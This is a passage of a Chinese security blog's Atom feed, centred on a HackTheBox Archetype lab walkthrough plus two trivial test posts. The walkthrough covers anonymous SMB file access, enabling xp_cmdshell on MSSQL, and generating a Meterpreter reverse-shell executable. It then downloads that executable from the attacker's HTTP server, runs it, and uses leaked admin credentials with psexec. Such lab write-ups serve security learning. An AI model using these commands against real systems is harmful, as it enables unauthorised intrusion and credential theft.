    <summary type="html">HackTheBox:Oopsie 靶场的完整渗透流程，包括信息收集、BurpSuite 代理抓包、文件上传漏洞利用、SUID 提权等步骤。 在本次测试中，寻找web漏洞要检查cookie、session等信息，搞清楚访问控制如何工作的。</summary>
    
    
    
    <category term="htb" scheme="https://nuyoah.space/categories/htb/"/>
    
    
    <category term="HTB" scheme="https://nuyoah.space/tags/HTB/"/>
    
    <category term="靶场渗透测试" scheme="https://nuyoah.space/tags/%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    <category term="BurpSuite" scheme="https://nuyoah.space/tags/BurpSuite/"/>
    
    <category term="文件上传漏洞" scheme="https://nuyoah.space/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/"/>
    
    <category term="SUID" scheme="https://nuyoah.space/tags/SUID/"/>
    
    <category term="PATH劫持" scheme="https://nuyoah.space/tags/PATH%E5%8A%AB%E6%8C%81/"/>
    
  </entry>
  
  <entry>
    <title>[HTB] Archetype 渗透测试笔记</title>
    <link href="https://nuyoah.space/posts/98873ddf.html"/>
    <id>https://nuyoah.space/posts/98873ddf.html</id>
    <published>2025-08-01T10:30:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="HackTheBox-Archetype-靶场的完整渗透流程"><a href="#HackTheBox-Archetype-靶场的完整渗透流程" class="headerlink" title="HackTheBox:Archetype 靶场的完整渗透流程"></a>HackTheBox:Archetype 靶场的完整渗透流程</h1><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_5e1d35b9f0a5a8ff3895d4a9068887a3.webp" alt="靶场信息"></p><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_3786cfd0f64bdd56028cecf09c128b4c.webp" alt="靶场信息"></p><h2 id="一、端口扫描"><a href="#一、端口扫描" class="headerlink" title="一、端口扫描"></a>一、端口扫描</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS -T4 -sV -Pn 10.129.75.207</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_1207cf86b7b36cabe8484e19c2829255.webp" alt="nmap扫描"></p><h3 id="445是smb-共享文件协议-端口，在未配置权限情况下可能允许匿名访问共享文件夹。"><a href="#445是smb-共享文件协议-端口，在未配置权限情况下可能允许匿名访问共享文件夹。" class="headerlink" title="445是smb(共享文件协议)端口，在未配置权限情况下可能允许匿名访问共享文件夹。"></a>445是smb(共享文件协议)端口，在未配置权限情况下可能允许匿名访问共享文件夹。</h3><h2 id="二、SMB-信息收集"><a href="#二、SMB-信息收集" class="headerlink" title="二、SMB 信息收集"></a>二、SMB 信息收集</h2><h3 id="尝试空密码进行SMB登陆"><a href="#尝试空密码进行SMB登陆" class="headerlink" title="尝试空密码进行SMB登陆"></a>尝试空密码进行SMB登陆</h3><h3 id="1-L表示列出共享资源"><a href="#1-L表示列出共享资源" class="headerlink" title="1. -L表示列出共享资源"></a>1. -L表示列出共享资源</h3><h3 id="2-N表示不使用密码"><a href="#2-N表示不使用密码" class="headerlink" title="2. -N表示不使用密码"></a>2. -N表示不使用密码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">smbclient -L -N //10.129.75.207/</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492352_97098bb1f2e73840e702c88040b41af5.webp" alt="SMB登陆"></p><h3 id="发现backups目录"><a href="#发现backups目录" class="headerlink" title="发现backups目录"></a>发现backups目录</h3><h3 id="SMB连接并列出目录内容，下载有用文件"><a href="#SMB连接并列出目录内容，下载有用文件" class="headerlink" title="SMB连接并列出目录内容，下载有用文件"></a>SMB连接并列出目录内容，下载有用文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">smbclient //10.129.75.207/backups -N</span><br><span class="line">smb: \&gt; <span class="built_in">ls</span></span><br><span class="line">smb: \&gt; get prod.dtsConfig</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492352_c02634c523a4fd721adcf9282286a3dc.webp" alt="下载文件"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> prod.dtsConfig</span><br></pre></td></tr></table></figure><h3 id="发现账号密码"><a href="#发现账号密码" class="headerlink" title="发现账号密码"></a>发现账号密码</h3><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492352_349a8182b7a3ce0715a4759c1a844464.webp" alt="prod.dtsConfig内容"></p><h2 id="三、MSSQL-利用"><a href="#三、MSSQL-利用" class="headerlink" title="三、MSSQL 利用"></a>三、MSSQL 利用</h2><h3 id="1-使用网络协议包impacket中的mssqlclient连接SQL-server-服务器"><a href="#1-使用网络协议包impacket中的mssqlclient连接SQL-server-服务器" class="headerlink" title="1.使用网络协议包impacket中的mssqlclient连接SQL server 服务器"></a>1.使用网络协议包impacket中的mssqlclient连接SQL server 服务器</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.75.207</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492349_807b079c046aa6ab1feac890ccf4c977.webp" alt="连接SQL server"></p><h3 id="同时检查数据库权限"><a href="#同时检查数据库权限" class="headerlink" title="同时检查数据库权限"></a>同时检查数据库权限</h3><details><summary>⚠ 易错提示，点击查看</summary>注意这里的 `/` 不能写成 `\`，  正确：`ARCHETYPE/sql_svc@10.129.75.207`  错误：`ARCHETYPE\sql_svc@10.129.75.207`（会导致连接失败）</details><h2 id="四、获取shell"><a href="#四、获取shell" class="headerlink" title="四、获取shell"></a>四、获取shell</h2><h3 id="1-使用xp-cmdshell执行命令"><a href="#1-使用xp-cmdshell执行命令" class="headerlink" title="1. 使用xp_cmdshell执行命令"></a>1. 使用xp_cmdshell执行命令</h3><details><summary>💡 关于 xp_cmdshell</summary>`xp_cmdshell` 是 SQL Server 内置的扩展存储过程，允许直接在数据库中执行系统命令（调用 Windows 命令行解释器）。  它的常见用途包括：- 执行系统级脚本- 下载文件- 启动其他程序如果数据库账号有高权限（如 `sysadmin`），攻击者可以利用 `xp_cmdshell` 在目标系统上执行任意命令，从而直接拿到系统权限。</details><h3 id="我们需要修改配置"><a href="#我们需要修改配置" class="headerlink" title="我们需要修改配置"></a>我们需要修改配置</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">EXEC</span> sp_configure <span class="string">&#x27;show advanced options&#x27;</span>, <span class="number">1</span>;</span><br><span class="line">RECONFIGURE;</span><br><span class="line"><span class="keyword">EXEC</span> sp_configure <span class="string">&#x27;xp_cmdshell&#x27;</span>, <span class="number">1</span>;</span><br><span class="line">RECONFIGURE;</span><br></pre></td></tr></table></figure><h3 id="执行命令成功后检查"><a href="#执行命令成功后检查" class="headerlink" title="执行命令成功后检查"></a>执行命令成功后检查</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">EXEC</span> xp_cmdshell <span class="string">&#x27;whoami&#x27;</span>;</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492350_0a34565279f548e69d46951e96f88492.webp" alt="执行whoami"></p><h3 id="2-利用msf生成exe上传并执行"><a href="#2-利用msf生成exe上传并执行" class="headerlink" title="2. 利用msf生成exe上传并执行"></a>2. 利用msf生成exe上传并执行</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.34 LPORT=4444 -f exe -o shell.exe</span><br></pre></td></tr></table></figure><h3 id="启动http服务，开启8000端口"><a href="#启动http服务，开启8000端口" class="headerlink" title="启动http服务，开启8000端口"></a>启动http服务，开启8000端口</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m http.server 8000</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_edd3a754420f2c25b015c38e368d7491.webp" alt="生成exe,启动http"></p><h3 id="3-通过mssql下载到可下载目录下"><a href="#3-通过mssql下载到可下载目录下" class="headerlink" title="3. 通过mssql下载到可下载目录下"></a>3. 通过mssql下载到可下载目录下</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">EXEC</span> xp_cmdshell &quot;powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.16.34:8000/shell.exe -outfile shell.exe&quot;</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_0d44e22369a31192db0523a365ca3963.webp" alt="下载shell.exe"></p><h3 id="4-msf监听并执行shell-exe"><a href="#4-msf监听并执行shell-exe" class="headerlink" title="4. msf监听并执行shell.exe"></a>4. msf监听并执行shell.exe</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">use exploit/multi/handler</span><br><span class="line"><span class="built_in">set</span> payload windows/meterpreter/reverse_tcp</span><br><span class="line"><span class="built_in">set</span> LHOST 10.10.16.34</span><br><span class="line"><span class="built_in">set</span> LPORT 4444</span><br><span class="line">exploit</span><br></pre></td></tr></table></figure><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xp_cmdshell &quot;C:\Users\sql_svc\Downloads\shell.exe&quot;</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492351_9d64263a07d9e84d23c90053487ed24a.webp" alt="执行shell.exe"></p><h3 id="五、获取系统权限system"><a href="#五、获取系统权限system" class="headerlink" title="五、获取系统权限system"></a>五、获取系统权限system</h3><h3 id="1-查看powershell历史命令"><a href="#1-查看powershell历史命令" class="headerlink" title="1. 查看powershell历史命令"></a>1. 查看powershell历史命令</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">type</span> C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492350_71d6e3fd65466a6375c56149ad1f6a41.webp" alt="powershell历史命令"></p><h3 id="2-利用psexec进行登陆连接"><a href="#2-利用psexec进行登陆连接" class="headerlink" title="2. 利用psexec进行登陆连接"></a>2. 利用psexec进行登陆连接</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-psexec administrator@10.129.75.207</span><br></pre></td></tr></table></figure><p><img src="https://img.nuyoah.icu/post/img/htb%E7%B3%BB%E5%88%97/archetype/1754957492350_a8152ccc470c2625b56258a9500c430a.webp" alt="psexec登陆"></p><details><summary>💡 关于 PsExec（点击展开）</summary>PsExec 是一种轻型 telnet-replacement，可用于在其他系统上执行进程，无需手动安装客户端软件即可完成控制台应用程序的完整交互性。  PsExec 最强大的用途包括在远程系统和远程启用工具（如 IpConfig）上启动交互式命令提示符。  psexec 的使用不需要对方主机开启 3389 端口，只需要对方开启 admin 共享或 c 盘共享（默认开启，依赖于 445 端口）。  但是，假如目标主机开启了防火墙（默认禁止 445 端口连接），psexec 也是不能使用的，会提示找不到网络路径。  由于 psexec 是 Windows 提供的工具，所以杀毒软件会将其添加到白名单中。  </details><p>完成！</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>本次 HTB Archetype 靶场主要学习了：</p><ul><li>SMB 匿名访问与敏感文件泄露</li><li>MSSQL 连接与 xp_cmdshell 命令执行</li><li>利用 MSF 生成木马并反弹 shell</li><li>Windows 提权思路（历史命令获取明文密码 + psexec）</li></ul><p>此外在使用靶场环境时候，为了防止靶场文件不知道放在那里，最好在powershell开始之前先切换靶场目录。</p><p>在执行反弹shell的时候一定要小心lhost和lport不要写错。</p><p>在本次测试中，也遇到了一些没遇到过的问题，比如：</p><ul><li>MSSQL 连接时的路径问题（<code>/</code> 和 <code>\</code> 的区别）</li><li>Powershell 历史命令的存储位置</li></ul><p>以上是本次测试的总结，再接再厉！</p>]]></content>
    
    
    <summary type="html">HackTheBox:Archetype 靶场的完整渗透流程，包括信息收集、SMB 枚举、MSSQL 利用、xp_cmdshell 命令执行、反弹 Meterpreter、psexec 进行登陆连接等步骤。</summary>
    
    
    
    <category term="htb" scheme="https://nuyoah.space/categories/htb/"/>
    
    
    <category term="HTB" scheme="https://nuyoah.space/tags/HTB/"/>
    
    <category term="靶场渗透测试" scheme="https://nuyoah.space/tags/%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    <category term="Windows" scheme="https://nuyoah.space/tags/Windows/"/>
    
    <category term="MSSQL" scheme="https://nuyoah.space/tags/MSSQL/"/>
    
    <category term="SMB" scheme="https://nuyoah.space/tags/SMB/"/>
    
  </entry>
  
  <entry>
    <title>封面图测试文章</title>
    <link href="https://nuyoah.space/posts/4aaaaa72.html"/>
    <id>https://nuyoah.space/posts/4aaaaa72.html</id>
    <published>2025-07-09T07:30:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<p>这是一篇用于测试博客封面图的文章。</p><p>封面图片来自：<code>https://api.mtyqx.cn/api/random.php</code>，每次访问会随机显示一张二次元图片，非常适合用于动漫类博客的装饰或测试展示用途。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;这是一篇用于测试博客封面图的文章。&lt;/p&gt;
&lt;p&gt;封面图片来自：&lt;code&gt;https://api.mtyqx.cn/api/random.php&lt;/code&gt;，每次访问会随机显示一张二次元图片，非常适合用于动漫类博客的装饰或测试展示用途。&lt;/p&gt;
</summary>
      
    
    
    
    <category term="测试" scheme="https://nuyoah.space/categories/%E6%B5%8B%E8%AF%95/"/>
    
    
    <category term="test" scheme="https://nuyoah.space/tags/test/"/>
    
  </entry>
  
  <entry>
    <title>测试自动化部署</title>
    <link href="https://nuyoah.space/posts/3cbf5c9a.html"/>
    <id>https://nuyoah.space/posts/3cbf5c9a.html</id>
    <published>2025-05-28T02:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="抱歉, 这个密码看着不太对, 请再试试" data-whm="抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.">  <script id="hbeData" type="hbeData" data-hmacdigest="36ec319564818efa670ee5b1138693d716bbf4759ce0f12dcb8fbcaca57a9653">24dcd71551d22d31215365ea7409a6c2e3d90aaf80e8622f77aaaed3bab85ea4ff9fed3550dbdf1a27ba53483a4c148bbda95254e03fe4f39b9bbb393db1924d9ccda36f781ed1456b834be4ba7eb576cac12d4e69e76b0b314351f1c59b4e7bbd152b91322c7b496ab0d19147493ee84d3e763c764df42faec475adea0443245410b59ebf8df5be39820a704bcbf532242909044e87278b3a991909245dbbc00e6736fa00b9c0b58f7c55e31a6e8a7f2a033c0a6a9ed693828880494498366e12b77553874ab5f93d597c3b148ce51749246572494f68e7fba05b6bbcbad5747aab15f9b376695a281e9157b89062306161b71cc31d7d502b7579f439691cba4d7a3bfd8f030d45cd4f2f009d2e3a7495ed62910057bd4d8da8d0582df8b5a3ad1fe33877a44156c0dfd5ee21cbcba543f6da9cce3a895b28218ec632bc3264fd6afef1db24f77ba5e9fb6d4e47e94930c49b5916e24adc3a9594321ae6ef9a5c86e32d678030df9bde9d42b5b39beb99ea41c899b4515a0a119df7f5406f3ca1cc02c4f7f5b4e21f96fa14578a83c144f04a218cf957aad7f6ed9045eee320222206732903c5d0d4b060255efdfc211574f614b0a01c2d6735421855c2b3bb3fa248e8cdec758194ab416b000cc50b</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-xray">      <input class="hbe hbe-input-field hbe-input-field-xray" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-xray" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-xray">您好, 这里需要密码.</span>      </label>      <svg class="hbe hbe-graphic hbe-graphic-xray" width="300%" height="100%" viewBox="0 0 1200 60" preserveAspectRatio="none">        <path d="M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0"></path>        <path d="M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0"></path>      </svg>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">有东西被加密了, 请输入密码查看.</summary>
    
    
    
    <category term="测试" scheme="https://nuyoah.space/categories/%E6%B5%8B%E8%AF%95/"/>
    
    
    <category term="测试" scheme="https://nuyoah.space/tags/%E6%B5%8B%E8%AF%95/"/>
    
    <category term="自动化部署" scheme="https://nuyoah.space/tags/%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2/"/>
    
  </entry>
  
</feed>
